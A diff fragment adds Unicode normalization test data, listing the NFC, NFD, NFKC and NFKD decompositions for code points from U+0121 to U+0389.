+{ source: [0x0121], NFC: [0x0121], NFD: [0x0067, 0x0307], NFKC: [0x0121], NFKD: [0x0067, 0x0307] },
+{ source: [0x0122], NFC: [0x0122], NFD: [0x0047, 0x0327], NFKC: [0x0122], NFKD: [0x0047, 0x0327] },
+{ source: [0x0123], NFC: [0x0123], NFD: [0x0067, 0x0327], NFKC: [0x0123], NFKD: [0x0067, 0x0327] },
+{ source: [0x0124], NFC: [0x0124], NFD: [0x0048, 0x0302], NFKC: [0x0124], NFKD: [0x0048, 0x0302] },
+{ source: [0x0125], NFC: [0x0125], NFD: [0x0068, 0x0302], NFKC: [0x0125], NFKD: [0x0068, 0x0302] },
+{ source: [0x0128], NFC: [0x0128], NFD: [0x0049, 0x0303], NFKC: [0x0128], NFKD: [0x0049, 0x0303] },
+{ source: [0x0129], NFC: [0x0129], NFD: [0x0069, 0x0303], NFKC: [0x0129], NFKD: [0x0069, 0x0303] },
+{ source: [0x012A], NFC: [0x012A], NFD: [0x0049, 0x0304], NFKC: [0x012A], NFKD: [0x0049, 0x0304] },
+{ source: [0x012B], NFC: [0x012B], NFD: [0x0069, 0x0304], NFKC: [0x012B], NFKD: [0x0069, 0x0304] },
+{ source: [0x012C], NFC: [0x012C], NFD: [0x0049, 0x0306], NFKC: [0x012C], NFKD: [0x0049, 0x0306] },
+{ source: [0x012D], NFC: [0x012D], NFD: [0x0069, 0x0306], NFKC: [0x012D], NFKD: [0x0069, 0x0306] },
+{ source: [0x012E], NFC: [0x012E], NFD: [0x0049, 0x0328], NFKC: [0x012E], NFKD: [0x0049, 0x0328] },
+{ source: [0x012F], NFC: [0x012F], NFD: [0x0069, 0x0328], NFKC: [0x012F], NFKD: [0x0069, 0x0328] },
+{ source: [0x0130], NFC: [0x0130], NFD: [0x0049, 0x0307], NFKC: [0x0130], NFKD: [0x0049, 0x0307] },
+{ source: [0x0132], NFC: [0x0132], NFD: [0x0132], NFKC: [0x0049, 0x004A], NFKD: [0x0049, 0x004A] },
+{ source: [0x0133], NFC: [0x0133], NFD: [0x0133], NFKC: [0x0069, 0x006A], NFKD: [0x0069, 0x006A] },
+{ source: [0x0134], NFC: [0x0134], NFD: [0x004A, 0x0302], NFKC: [0x0134], NFKD: [0x004A, 0x0302] },
+{ source: [0x0135], NFC: [0x0135], NFD: [0x006A, 0x0302], NFKC: [0x0135], NFKD: [0x006A, 0x0302] },
+{ source: [0x0136], NFC: [0x0136], NFD: [0x004B, 0x0327], NFKC: [0x0136], NFKD: [0x004B, 0x0327] },
+{ source: [0x0137], NFC: [0x0137], NFD: [0x006B, 0x0327], NFKC: [0x0137], NFKD: [0x006B, 0x0327] },
+{ source: [0x0139], NFC: [0x0139], NFD: [0x004C, 0x0301], NFKC: [0x0139], NFKD: [0x004C, 0x0301] },
+{ source: [0x013A], NFC: [0x013A], NFD: [0x006C, 0x0301], NFKC: [0x013A], NFKD: [0x006C, 0x0301] },
+{ source: [0x013B], NFC: [0x013B], NFD: [0x004C, 0x0327], NFKC: [0x013B], NFKD: [0x004C, 0x0327] },
+{ source: [0x013C], NFC: [0x013C], NFD: [0x006C, 0x0327], NFKC: [0x013C], NFKD: [0x006C, 0x0327] },
+{ source: [0x013D], NFC: [0x013D], NFD: [0x004C, 0x030C], NFKC: [0x013D], NFKD: [0x004C, 0x030C] },
+{ source: [0x013E], NFC: [0x013E], NFD: [0x006C, 0x030C], NFKC: [0x013E], NFKD: [0x006C, 0x030C] },
+{ source: [0x013F], NFC: [0x013F], NFD: [0x013F], NFKC: [0x004C, 0x00B7], NFKD: [0x004C, 0x00B7] },
+{ source: [0x0140], NFC: [0x0140], NFD: [0x0140], NFKC: [0x006C, 0x00B7], NFKD: [0x006C, 0x00B7] },
+{ source: [0x0143], NFC: [0x0143], NFD: [0x004E, 0x0301], NFKC: [0x0143], NFKD: [0x004E, 0x0301] },
+{ source: [0x0144], NFC: [0x0144], NFD: [0x006E, 0x0301], NFKC: [0x0144], NFKD: [0x006E, 0x0301] },
+{ source: [0x0145], NFC: [0x0145], NFD: [0x004E, 0x0327], NFKC: [0x0145], NFKD: [0x004E, 0x0327] },
+{ source: [0x0146], NFC: [0x0146], NFD: [0x006E, 0x0327], NFKC: [0x0146], NFKD: [0x006E, 0x0327] },
+{ source: [0x0147], NFC: [0x0147], NFD: [0x004E, 0x030C], NFKC: [0x0147], NFKD: [0x004E, 0x030C] },
+{ source: [0x0148], NFC: [0x0148], NFD: [0x006E, 0x030C], NFKC: [0x0148], NFKD: [0x006E, 0x030C] },
+{ source: [0x0149], NFC: [0x0149], NFD: [0x0149], NFKC: [0x02BC, 0x006E], NFKD: [0x02BC, 0x006E] },
+{ source: [0x014C], NFC: [0x014C], NFD: [0x004F, 0x0304], NFKC: [0x014C], NFKD: [0x004F, 0x0304] },
+{ source: [0x014D], NFC: [0x014D], NFD: [0x006F, 0x0304], NFKC: [0x014D], NFKD: [0x006F, 0x0304] },
+{ source: [0x014E], NFC: [0x014E], NFD: [0x004F, 0x0306], NFKC: [0x014E], NFKD: [0x004F, 0x0306] },
+{ source: [0x014F], NFC: [0x014F], NFD: [0x006F, 0x0306], NFKC: [0x014F], NFKD: [0x006F, 0x0306] },
+{ source: [0x0150], NFC: [0x0150], NFD: [0x004F, 0x030B], NFKC: [0x0150], NFKD: [0x004F, 0x030B] },
+{ source: [0x0151], NFC: [0x0151], NFD: [0x006F, 0x030B], NFKC: [0x0151], NFKD: [0x006F, 0x030B] },
+{ source: [0x0154], NFC: [0x0154], NFD: [0x0052, 0x0301], NFKC: [0x0154], NFKD: [0x0052, 0x0301] },
+{ source: [0x0155], NFC: [0x0155], NFD: [0x0072, 0x0301], NFKC: [0x0155], NFKD: [0x0072, 0x0301] },
+{ source: [0x0156], NFC: [0x0156], NFD: [0x0052, 0x0327], NFKC: [0x0156], NFKD: [0x0052, 0x0327] },
+{ source: [0x0157], NFC: [0x0157], NFD: [0x0072, 0x0327], NFKC: [0x0157], NFKD: [0x0072, 0x0327] },
+{ source: [0x0158], NFC: [0x0158], NFD: [0x0052, 0x030C], NFKC: [0x0158], NFKD: [0x0052, 0x030C] },
+{ source: [0x0159], NFC: [0x0159], NFD: [0x0072, 0x030C], NFKC: [0x0159], NFKD: [0x0072, 0x030C] },
+{ source: [0x015A], NFC: [0x015A], NFD: [0x0053, 0x0301], NFKC: [0x015A], NFKD: [0x0053, 0x0301] },
+{ source: [0x015B], NFC: [0x015B], NFD: [0x0073, 0x0301], NFKC: [0x015B], NFKD: [0x0073, 0x0301] },
+{ source: [0x015C], NFC: [0x015C], NFD: [0x0053, 0x0302], NFKC: [0x015C], NFKD: [0x0053, 0x0302] },
+{ source: [0x015D], NFC: [0x015D], NFD: [0x0073, 0x0302], NFKC: [0x015D], NFKD: [0x0073, 0x0302] },
+{ source: [0x015E], NFC: [0x015E], NFD: [0x0053, 0x0327], NFKC: [0x015E], NFKD: [0x0053, 0x0327] },
+{ source: [0x015F], NFC: [0x015F], NFD: [0x0073, 0x0327], NFKC: [0x015F], NFKD: [0x0073, 0x0327] },
+{ source: [0x0160], NFC: [0x0160], NFD: [0x0053, 0x030C], NFKC: [0x0160], NFKD: [0x0053, 0x030C] },
+{ source: [0x0161], NFC: [0x0161], NFD: [0x0073, 0x030C], NFKC: [0x0161], NFKD: [0x0073, 0x030C] },
+{ source: [0x0162], NFC: [0x0162], NFD: [0x0054, 0x0327], NFKC: [0x0162], NFKD: [0x0054, 0x0327] },
+{ source: [0x0163], NFC: [0x0163], NFD: [0x0074, 0x0327], NFKC: [0x0163], NFKD: [0x0074, 0x0327] },
+{ source: [0x0164], NFC: [0x0164], NFD: [0x0054, 0x030C], NFKC: [0x0164], NFKD: [0x0054, 0x030C] },
+{ source: [0x0165], NFC: [0x0165], NFD: [0x0074, 0x030C], NFKC: [0x0165], NFKD: [0x0074, 0x030C] },
+{ source: [0x0168], NFC: [0x0168], NFD: [0x0055, 0x0303], NFKC: [0x0168], NFKD: [0x0055, 0x0303] },
+{ source: [0x0169], NFC: [0x0169], NFD: [0x0075, 0x0303], NFKC: [0x0169], NFKD: [0x0075, 0x0303] },
+{ source: [0x016A], NFC: [0x016A], NFD: [0x0055, 0x0304], NFKC: [0x016A], NFKD: [0x0055, 0x0304] },
+{ source: [0x016B], NFC: [0x016B], NFD: [0x0075, 0x0304], NFKC: [0x016B], NFKD: [0x0075, 0x0304] },
+{ source: [0x016C], NFC: [0x016C], NFD: [0x0055, 0x0306], NFKC: [0x016C], NFKD: [0x0055, 0x0306] },
+{ source: [0x016D], NFC: [0x016D], NFD: [0x0075, 0x0306], NFKC: [0x016D], NFKD: [0x0075, 0x0306] },
+{ source: [0x016E], NFC: [0x016E], NFD: [0x0055, 0x030A], NFKC: [0x016E], NFKD: [0x0055, 0x030A] },
+{ source: [0x016F], NFC: [0x016F], NFD: [0x0075, 0x030A], NFKC: [0x016F], NFKD: [0x0075, 0x030A] },
+{ source: [0x0170], NFC: [0x0170], NFD: [0x0055, 0x030B], NFKC: [0x0170], NFKD: [0x0055, 0x030B] },
+{ source: [0x0171], NFC: [0x0171], NFD: [0x0075, 0x030B], NFKC: [0x0171], NFKD: [0x0075, 0x030B] },
+{ source: [0x0172], NFC: [0x0172], NFD: [0x0055, 0x0328], NFKC: [0x0172], NFKD: [0x0055, 0x0328] },
+{ source: [0x0173], NFC: [0x0173], NFD: [0x0075, 0x0328], NFKC: [0x0173], NFKD: [0x0075, 0x0328] },
+{ source: [0x0174], NFC: [0x0174], NFD: [0x0057, 0x0302], NFKC: [0x0174], NFKD: [0x0057, 0x0302] },
+{ source: [0x0175], NFC: [0x0175], NFD: [0x0077, 0x0302], NFKC: [0x0175], NFKD: [0x0077, 0x0302] },
+{ source: [0x0176], NFC: [0x0176], NFD: [0x0059, 0x0302], NFKC: [0x0176], NFKD: [0x0059, 0x0302] },
+{ source: [0x0177], NFC: [0x0177], NFD: [0x0079, 0x0302], NFKC: [0x0177], NFKD: [0x0079, 0x0302] },
+{ source: [0x0178], NFC: [0x0178], NFD: [0x0059, 0x0308], NFKC: [0x0178], NFKD: [0x0059, 0x0308] },
+{ source: [0x0179], NFC: [0x0179], NFD: [0x005A, 0x0301], NFKC: [0x0179], NFKD: [0x005A, 0x0301] },
+{ source: [0x017A], NFC: [0x017A], NFD: [0x007A, 0x0301], NFKC: [0x017A], NFKD: [0x007A, 0x0301] },
+{ source: [0x017B], NFC: [0x017B], NFD: [0x005A, 0x0307], NFKC: [0x017B], NFKD: [0x005A, 0x0307] },
+{ source: [0x017C], NFC: [0x017C], NFD: [0x007A, 0x0307], NFKC: [0x017C], NFKD: [0x007A, 0x0307] },
+{ source: [0x017D], NFC: [0x017D], NFD: [0x005A, 0x030C], NFKC: [0x017D], NFKD: [0x005A, 0x030C] },
+{ source: [0x017E], NFC: [0x017E], NFD: [0x007A, 0x030C], NFKC: [0x017E], NFKD: [0x007A, 0x030C] },
+{ source: [0x017F], NFC: [0x017F], NFD: [0x017F], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x01A0], NFC: [0x01A0], NFD: [0x004F, 0x031B], NFKC: [0x01A0], NFKD: [0x004F, 0x031B] },
+{ source: [0x01A1], NFC: [0x01A1], NFD: [0x006F, 0x031B], NFKC: [0x01A1], NFKD: [0x006F, 0x031B] },
+{ source: [0x01AF], NFC: [0x01AF], NFD: [0x0055, 0x031B], NFKC: [0x01AF], NFKD: [0x0055, 0x031B] },
+{ source: [0x01B0], NFC: [0x01B0], NFD: [0x0075, 0x031B], NFKC: [0x01B0], NFKD: [0x0075, 0x031B] },
+{ source: [0x01C4], NFC: [0x01C4], NFD: [0x01C4], NFKC: [0x0044, 0x017D], NFKD: [0x0044, 0x005A, 0x030C] },
+{ source: [0x01C5], NFC: [0x01C5], NFD: [0x01C5], NFKC: [0x0044, 0x017E], NFKD: [0x0044, 0x007A, 0x030C] },
+{ source: [0x01C6], NFC: [0x01C6], NFD: [0x01C6], NFKC: [0x0064, 0x017E], NFKD: [0x0064, 0x007A, 0x030C] },
+{ source: [0x01C7], NFC: [0x01C7], NFD: [0x01C7], NFKC: [0x004C, 0x004A], NFKD: [0x004C, 0x004A] },
+{ source: [0x01C8], NFC: [0x01C8], NFD: [0x01C8], NFKC: [0x004C, 0x006A], NFKD: [0x004C, 0x006A] },
+{ source: [0x01C9], NFC: [0x01C9], NFD: [0x01C9], NFKC: [0x006C, 0x006A], NFKD: [0x006C, 0x006A] },
+{ source: [0x01CA], NFC: [0x01CA], NFD: [0x01CA], NFKC: [0x004E, 0x004A], NFKD: [0x004E, 0x004A] },
+{ source: [0x01CB], NFC: [0x01CB], NFD: [0x01CB], NFKC: [0x004E, 0x006A], NFKD: [0x004E, 0x006A] },
+{ source: [0x01CC], NFC: [0x01CC], NFD: [0x01CC], NFKC: [0x006E, 0x006A], NFKD: [0x006E, 0x006A] },
+{ source: [0x01CD], NFC: [0x01CD], NFD: [0x0041, 0x030C], NFKC: [0x01CD], NFKD: [0x0041, 0x030C] },
+{ source: [0x01CE], NFC: [0x01CE], NFD: [0x0061, 0x030C], NFKC: [0x01CE], NFKD: [0x0061, 0x030C] },
+{ source: [0x01CF], NFC: [0x01CF], NFD: [0x0049, 0x030C], NFKC: [0x01CF], NFKD: [0x0049, 0x030C] },
+{ source: [0x01D0], NFC: [0x01D0], NFD: [0x0069, 0x030C], NFKC: [0x01D0], NFKD: [0x0069, 0x030C] },
+{ source: [0x01D1], NFC: [0x01D1], NFD: [0x004F, 0x030C], NFKC: [0x01D1], NFKD: [0x004F, 0x030C] },
+{ source: [0x01D2], NFC: [0x01D2], NFD: [0x006F, 0x030C], NFKC: [0x01D2], NFKD: [0x006F, 0x030C] },
+{ source: [0x01D3], NFC: [0x01D3], NFD: [0x0055, 0x030C], NFKC: [0x01D3], NFKD: [0x0055, 0x030C] },
+{ source: [0x01D4], NFC: [0x01D4], NFD: [0x0075, 0x030C], NFKC: [0x01D4], NFKD: [0x0075, 0x030C] },
+{ source: [0x01D5], NFC: [0x01D5], NFD: [0x0055, 0x0308, 0x0304], NFKC: [0x01D5], NFKD: [0x0055, 0x0308, 0x0304] },
+{ source: [0x01D6], NFC: [0x01D6], NFD: [0x0075, 0x0308, 0x0304], NFKC: [0x01D6], NFKD: [0x0075, 0x0308, 0x0304] },
+{ source: [0x01D7], NFC: [0x01D7], NFD: [0x0055, 0x0308, 0x0301], NFKC: [0x01D7], NFKD: [0x0055, 0x0308, 0x0301] },
+{ source: [0x01D8], NFC: [0x01D8], NFD: [0x0075, 0x0308, 0x0301], NFKC: [0x01D8], NFKD: [0x0075, 0x0308, 0x0301] },
+{ source: [0x01D9], NFC: [0x01D9], NFD: [0x0055, 0x0308, 0x030C], NFKC: [0x01D9], NFKD: [0x0055, 0x0308, 0x030C] },
+{ source: [0x01DA], NFC: [0x01DA], NFD: [0x0075, 0x0308, 0x030C], NFKC: [0x01DA], NFKD: [0x0075, 0x0308, 0x030C] },
+{ source: [0x01DB], NFC: [0x01DB], NFD: [0x0055, 0x0308, 0x0300], NFKC: [0x01DB], NFKD: [0x0055, 0x0308, 0x0300] },
+{ source: [0x01DC], NFC: [0x01DC], NFD: [0x0075, 0x0308, 0x0300], NFKC: [0x01DC], NFKD: [0x0075, 0x0308, 0x0300] },
+{ source: [0x01DE], NFC: [0x01DE], NFD: [0x0041, 0x0308, 0x0304], NFKC: [0x01DE], NFKD: [0x0041, 0x0308, 0x0304] },
+{ source: [0x01DF], NFC: [0x01DF], NFD: [0x0061, 0x0308, 0x0304], NFKC: [0x01DF], NFKD: [0x0061, 0x0308, 0x0304] },
+{ source: [0x01E0], NFC: [0x01E0], NFD: [0x0041, 0x0307, 0x0304], NFKC: [0x01E0], NFKD: [0x0041, 0x0307, 0x0304] },
+{ source: [0x01E1], NFC: [0x01E1], NFD: [0x0061, 0x0307, 0x0304], NFKC: [0x01E1], NFKD: [0x0061, 0x0307, 0x0304] },
+{ source: [0x01E2], NFC: [0x01E2], NFD: [0x00C6, 0x0304], NFKC: [0x01E2], NFKD: [0x00C6, 0x0304] },
+{ source: [0x01E3], NFC: [0x01E3], NFD: [0x00E6, 0x0304], NFKC: [0x01E3], NFKD: [0x00E6, 0x0304] },
+{ source: [0x01E6], NFC: [0x01E6], NFD: [0x0047, 0x030C], NFKC: [0x01E6], NFKD: [0x0047, 0x030C] },
+{ source: [0x01E7], NFC: [0x01E7], NFD: [0x0067, 0x030C], NFKC: [0x01E7], NFKD: [0x0067, 0x030C] },
+{ source: [0x01E8], NFC: [0x01E8], NFD: [0x004B, 0x030C], NFKC: [0x01E8], NFKD: [0x004B, 0x030C] },
+{ source: [0x01E9], NFC: [0x01E9], NFD: [0x006B, 0x030C], NFKC: [0x01E9], NFKD: [0x006B, 0x030C] },
+{ source: [0x01EA], NFC: [0x01EA], NFD: [0x004F, 0x0328], NFKC: [0x01EA], NFKD: [0x004F, 0x0328] },
+{ source: [0x01EB], NFC: [0x01EB], NFD: [0x006F, 0x0328], NFKC: [0x01EB], NFKD: [0x006F, 0x0328] },
+{ source: [0x01EC], NFC: [0x01EC], NFD: [0x004F, 0x0328, 0x0304], NFKC: [0x01EC], NFKD: [0x004F, 0x0328, 0x0304] },
+{ source: [0x01ED], NFC: [0x01ED], NFD: [0x006F, 0x0328, 0x0304], NFKC: [0x01ED], NFKD: [0x006F, 0x0328, 0x0304] },
+{ source: [0x01EE], NFC: [0x01EE], NFD: [0x01B7, 0x030C], NFKC: [0x01EE], NFKD: [0x01B7, 0x030C] },
+{ source: [0x01EF], NFC: [0x01EF], NFD: [0x0292, 0x030C], NFKC: [0x01EF], NFKD: [0x0292, 0x030C] },
+{ source: [0x01F0], NFC: [0x01F0], NFD: [0x006A, 0x030C], NFKC: [0x01F0], NFKD: [0x006A, 0x030C] },
+{ source: [0x01F1], NFC: [0x01F1], NFD: [0x01F1], NFKC: [0x0044, 0x005A], NFKD: [0x0044, 0x005A] },
+{ source: [0x01F2], NFC: [0x01F2], NFD: [0x01F2], NFKC: [0x0044, 0x007A], NFKD: [0x0044, 0x007A] },
+{ source: [0x01F3], NFC: [0x01F3], NFD: [0x01F3], NFKC: [0x0064, 0x007A], NFKD: [0x0064, 0x007A] },
+{ source: [0x01F4], NFC: [0x01F4], NFD: [0x0047, 0x0301], NFKC: [0x01F4], NFKD: [0x0047, 0x0301] },
+{ source: [0x01F5], NFC: [0x01F5], NFD: [0x0067, 0x0301], NFKC: [0x01F5], NFKD: [0x0067, 0x0301] },
+{ source: [0x01F8], NFC: [0x01F8], NFD: [0x004E, 0x0300], NFKC: [0x01F8], NFKD: [0x004E, 0x0300] },
+{ source: [0x01F9], NFC: [0x01F9], NFD: [0x006E, 0x0300], NFKC: [0x01F9], NFKD: [0x006E, 0x0300] },
+{ source: [0x01FA], NFC: [0x01FA], NFD: [0x0041, 0x030A, 0x0301], NFKC: [0x01FA], NFKD: [0x0041, 0x030A, 0x0301] },
+{ source: [0x01FB], NFC: [0x01FB], NFD: [0x0061, 0x030A, 0x0301], NFKC: [0x01FB], NFKD: [0x0061, 0x030A, 0x0301] },
+{ source: [0x01FC], NFC: [0x01FC], NFD: [0x00C6, 0x0301], NFKC: [0x01FC], NFKD: [0x00C6, 0x0301] },
+{ source: [0x01FD], NFC: [0x01FD], NFD: [0x00E6, 0x0301], NFKC: [0x01FD], NFKD: [0x00E6, 0x0301] },
+{ source: [0x01FE], NFC: [0x01FE], NFD: [0x00D8, 0x0301], NFKC: [0x01FE], NFKD: [0x00D8, 0x0301] },
+{ source: [0x01FF], NFC: [0x01FF], NFD: [0x00F8, 0x0301], NFKC: [0x01FF], NFKD: [0x00F8, 0x0301] },
+{ source: [0x0200], NFC: [0x0200], NFD: [0x0041, 0x030F], NFKC: [0x0200], NFKD: [0x0041, 0x030F] },
+{ source: [0x0201], NFC: [0x0201], NFD: [0x0061, 0x030F], NFKC: [0x0201], NFKD: [0x0061, 0x030F] },
+{ source: [0x0202], NFC: [0x0202], NFD: [0x0041, 0x0311], NFKC: [0x0202], NFKD: [0x0041, 0x0311] },
+{ source: [0x0203], NFC: [0x0203], NFD: [0x0061, 0x0311], NFKC: [0x0203], NFKD: [0x0061, 0x0311] },
+{ source: [0x0204], NFC: [0x0204], NFD: [0x0045, 0x030F], NFKC: [0x0204], NFKD: [0x0045, 0x030F] },
+{ source: [0x0205], NFC: [0x0205], NFD: [0x0065, 0x030F], NFKC: [0x0205], NFKD: [0x0065, 0x030F] },
+{ source: [0x0206], NFC: [0x0206], NFD: [0x0045, 0x0311], NFKC: [0x0206], NFKD: [0x0045, 0x0311] },
+{ source: [0x0207], NFC: [0x0207], NFD: [0x0065, 0x0311], NFKC: [0x0207], NFKD: [0x0065, 0x0311] },
+{ source: [0x0208], NFC: [0x0208], NFD: [0x0049, 0x030F], NFKC: [0x0208], NFKD: [0x0049, 0x030F] },
+{ source: [0x0209], NFC: [0x0209], NFD: [0x0069, 0x030F], NFKC: [0x0209], NFKD: [0x0069, 0x030F] },
+{ source: [0x020A], NFC: [0x020A], NFD: [0x0049, 0x0311], NFKC: [0x020A], NFKD: [0x0049, 0x0311] },
+{ source: [0x020B], NFC: [0x020B], NFD: [0x0069, 0x0311], NFKC: [0x020B], NFKD: [0x0069, 0x0311] },
+{ source: [0x020C], NFC: [0x020C], NFD: [0x004F, 0x030F], NFKC: [0x020C], NFKD: [0x004F, 0x030F] },
+{ source: [0x020D], NFC: [0x020D], NFD: [0x006F, 0x030F], NFKC: [0x020D], NFKD: [0x006F, 0x030F] },
+{ source: [0x020E], NFC: [0x020E], NFD: [0x004F, 0x0311], NFKC: [0x020E], NFKD: [0x004F, 0x0311] },
+{ source: [0x020F], NFC: [0x020F], NFD: [0x006F, 0x0311], NFKC: [0x020F], NFKD: [0x006F, 0x0311] },
+{ source: [0x0210], NFC: [0x0210], NFD: [0x0052, 0x030F], NFKC: [0x0210], NFKD: [0x0052, 0x030F] },
+{ source: [0x0211], NFC: [0x0211], NFD: [0x0072, 0x030F], NFKC: [0x0211], NFKD: [0x0072, 0x030F] },
+{ source: [0x0212], NFC: [0x0212], NFD: [0x0052, 0x0311], NFKC: [0x0212], NFKD: [0x0052, 0x0311] },
+{ source: [0x0213], NFC: [0x0213], NFD: [0x0072, 0x0311], NFKC: [0x0213], NFKD: [0x0072, 0x0311] },
+{ source: [0x0214], NFC: [0x0214], NFD: [0x0055, 0x030F], NFKC: [0x0214], NFKD: [0x0055, 0x030F] },
+{ source: [0x0215], NFC: [0x0215], NFD: [0x0075, 0x030F], NFKC: [0x0215], NFKD: [0x0075, 0x030F] },
+{ source: [0x0216], NFC: [0x0216], NFD: [0x0055, 0x0311], NFKC: [0x0216], NFKD: [0x0055, 0x0311] },
+{ source: [0x0217], NFC: [0x0217], NFD: [0x0075, 0x0311], NFKC: [0x0217], NFKD: [0x0075, 0x0311] },
+{ source: [0x0218], NFC: [0x0218], NFD: [0x0053, 0x0326], NFKC: [0x0218], NFKD: [0x0053, 0x0326] },
+{ source: [0x0219], NFC: [0x0219], NFD: [0x0073, 0x0326], NFKC: [0x0219], NFKD: [0x0073, 0x0326] },
+{ source: [0x021A], NFC: [0x021A], NFD: [0x0054, 0x0326], NFKC: [0x021A], NFKD: [0x0054, 0x0326] },
+{ source: [0x021B], NFC: [0x021B], NFD: [0x0074, 0x0326], NFKC: [0x021B], NFKD: [0x0074, 0x0326] },
+{ source: [0x021E], NFC: [0x021E], NFD: [0x0048, 0x030C], NFKC: [0x021E], NFKD: [0x0048, 0x030C] },
+{ source: [0x021F], NFC: [0x021F], NFD: [0x0068, 0x030C], NFKC: [0x021F], NFKD: [0x0068, 0x030C] },
+{ source: [0x0226], NFC: [0x0226], NFD: [0x0041, 0x0307], NFKC: [0x0226], NFKD: [0x0041, 0x0307] },
+{ source: [0x0227], NFC: [0x0227], NFD: [0x0061, 0x0307], NFKC: [0x0227], NFKD: [0x0061, 0x0307] },
+{ source: [0x0228], NFC: [0x0228], NFD: [0x0045, 0x0327], NFKC: [0x0228], NFKD: [0x0045, 0x0327] },
+{ source: [0x0229], NFC: [0x0229], NFD: [0x0065, 0x0327], NFKC: [0x0229], NFKD: [0x0065, 0x0327] },
+{ source: [0x022A], NFC: [0x022A], NFD: [0x004F, 0x0308, 0x0304], NFKC: [0x022A], NFKD: [0x004F, 0x0308, 0x0304] },
+{ source: [0x022B], NFC: [0x022B], NFD: [0x006F, 0x0308, 0x0304], NFKC: [0x022B], NFKD: [0x006F, 0x0308, 0x0304] },
+{ source: [0x022C], NFC: [0x022C], NFD: [0x004F, 0x0303, 0x0304], NFKC: [0x022C], NFKD: [0x004F, 0x0303, 0x0304] },
+{ source: [0x022D], NFC: [0x022D], NFD: [0x006F, 0x0303, 0x0304], NFKC: [0x022D], NFKD: [0x006F, 0x0303, 0x0304] },
+{ source: [0x022E], NFC: [0x022E], NFD: [0x004F, 0x0307], NFKC: [0x022E], NFKD: [0x004F, 0x0307] },
+{ source: [0x022F], NFC: [0x022F], NFD: [0x006F, 0x0307], NFKC: [0x022F], NFKD: [0x006F, 0x0307] },
+{ source: [0x0230], NFC: [0x0230], NFD: [0x004F, 0x0307, 0x0304], NFKC: [0x0230], NFKD: [0x004F, 0x0307, 0x0304] },
+{ source: [0x0231], NFC: [0x0231], NFD: [0x006F, 0x0307, 0x0304], NFKC: [0x0231], NFKD: [0x006F, 0x0307, 0x0304] },
+{ source: [0x0232], NFC: [0x0232], NFD: [0x0059, 0x0304], NFKC: [0x0232], NFKD: [0x0059, 0x0304] },
+{ source: [0x0233], NFC: [0x0233], NFD: [0x0079, 0x0304], NFKC: [0x0233], NFKD: [0x0079, 0x0304] },
+{ source: [0x02B0], NFC: [0x02B0], NFD: [0x02B0], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x02B1], NFC: [0x02B1], NFD: [0x02B1], NFKC: [0x0266], NFKD: [0x0266] },
+{ source: [0x02B2], NFC: [0x02B2], NFD: [0x02B2], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x02B3], NFC: [0x02B3], NFD: [0x02B3], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x02B4], NFC: [0x02B4], NFD: [0x02B4], NFKC: [0x0279], NFKD: [0x0279] },
+{ source: [0x02B5], NFC: [0x02B5], NFD: [0x02B5], NFKC: [0x027B], NFKD: [0x027B] },
+{ source: [0x02B6], NFC: [0x02B6], NFD: [0x02B6], NFKC: [0x0281], NFKD: [0x0281] },
+{ source: [0x02B7], NFC: [0x02B7], NFD: [0x02B7], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x02B8], NFC: [0x02B8], NFD: [0x02B8], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x02D8], NFC: [0x02D8], NFD: [0x02D8], NFKC: [0x0020, 0x0306], NFKD: [0x0020, 0x0306] },
+{ source: [0x02D9], NFC: [0x02D9], NFD: [0x02D9], NFKC: [0x0020, 0x0307], NFKD: [0x0020, 0x0307] },
+{ source: [0x02DA], NFC: [0x02DA], NFD: [0x02DA], NFKC: [0x0020, 0x030A], NFKD: [0x0020, 0x030A] },
+{ source: [0x02DB], NFC: [0x02DB], NFD: [0x02DB], NFKC: [0x0020, 0x0328], NFKD: [0x0020, 0x0328] },
+{ source: [0x02DC], NFC: [0x02DC], NFD: [0x02DC], NFKC: [0x0020, 0x0303], NFKD: [0x0020, 0x0303] },
+{ source: [0x02DD], NFC: [0x02DD], NFD: [0x02DD], NFKC: [0x0020, 0x030B], NFKD: [0x0020, 0x030B] },
+{ source: [0x02E0], NFC: [0x02E0], NFD: [0x02E0], NFKC: [0x0263], NFKD: [0x0263] },
+{ source: [0x02E1], NFC: [0x02E1], NFD: [0x02E1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x02E2], NFC: [0x02E2], NFD: [0x02E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x02E3], NFC: [0x02E3], NFD: [0x02E3], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x02E4], NFC: [0x02E4], NFD: [0x02E4], NFKC: [0x0295], NFKD: [0x0295] },
+{ source: [0x0340], NFC: [0x0300], NFD: [0x0300], NFKC: [0x0300], NFKD: [0x0300] },
+{ source: [0x0341], NFC: [0x0301], NFD: [0x0301], NFKC: [0x0301], NFKD: [0x0301] },
+{ source: [0x0343], NFC: [0x0313], NFD: [0x0313], NFKC: [0x0313], NFKD: [0x0313] },
+{ source: [0x0344], NFC: [0x0308, 0x0301], NFD: [0x0308, 0x0301], NFKC: [0x0308, 0x0301], NFKD: [0x0308, 0x0301] },
+{ source: [0x0374], NFC: [0x02B9], NFD: [0x02B9], NFKC: [0x02B9], NFKD: [0x02B9] },
+{ source: [0x037A], NFC: [0x037A], NFD: [0x037A], NFKC: [0x0020, 0x0345], NFKD: [0x0020, 0x0345] },
+{ source: [0x037E], NFC: [0x003B], NFD: [0x003B], NFKC: [0x003B], NFKD: [0x003B] },
+{ source: [0x0384], NFC: [0x0384], NFD: [0x0384], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x0385], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x0386], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x0387], NFC: [0x00B7], NFD: [0x00B7], NFKC: [0x00B7], NFKD: [0x00B7] },
+{ source: [0x0388], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x0389], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
